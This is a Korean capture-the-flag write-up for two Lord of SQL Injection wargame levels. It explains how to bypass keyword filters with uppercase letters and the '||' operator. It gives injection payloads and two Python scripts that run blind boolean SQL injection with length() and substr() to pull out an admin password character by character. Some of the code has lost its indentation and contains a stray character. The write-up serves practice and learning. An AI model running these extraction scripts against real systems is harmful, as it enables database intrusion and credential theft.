문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.
문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.
# los_orge.py
import requests
import re
headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'
pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)
# pw 길이 알아내기
while True:
pw_len += 1
payload = "?pw=' || length(pw)='" +str(pw_len)
r = requests.get(url+payload, headers = headers)0
if(re.findall('Hello admin', r.text)):
break
print('password length : ' +str(pw_len))
# 정확한 값 알아내기
for i in range(1, pw_len+1):
for j in range(len(tryList)+1):
payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
r = requests.get(url+payload, headers=headers)
print(payload)
if re.findall('Hello admin', r.text):
print(tryList[j])
pw += str(tryList[j])
break
print('password : '+pw)
pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.
pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.
length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.
위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.
length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.
query: ?pw=' or length(pw)=8--%20
pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다.
이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.
import requests
import re
cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""
for i in range(0,10):
tryList.append(i)
for i in range(97, 123): # 아스키 코드 값(영문 소문자)
tryList.append(chr(i))
for i in range(1,100):
lenPayload = "?pw=1' or length(pw)='" +str(i)
new_url = url + lenPayload
req = requests.get(new_url,cookies=cookies)
if re.findall("<h2>Hello admin</h2>", req.text): # pw 길이를 찾으면 길이를 저장하고 반복문 종료
pwLen = i
break
print("pw len : " +str(pwLen))
for i in range(1,pwLen+1): # pw 길이 만큼 반복
for w in range(0,len(tryList)+1): # 0~9 숫자 + 영소문자 갯수 만큼 반복
par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w]) # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
new_url = url + par
req = requests.get(new_url,cookies=cookies)
if re.findall("<h2>Hello admin</h2>", req.text): # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
print(tryList[w])
result += str(tryList[w])
break
print("password is " +result)
위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.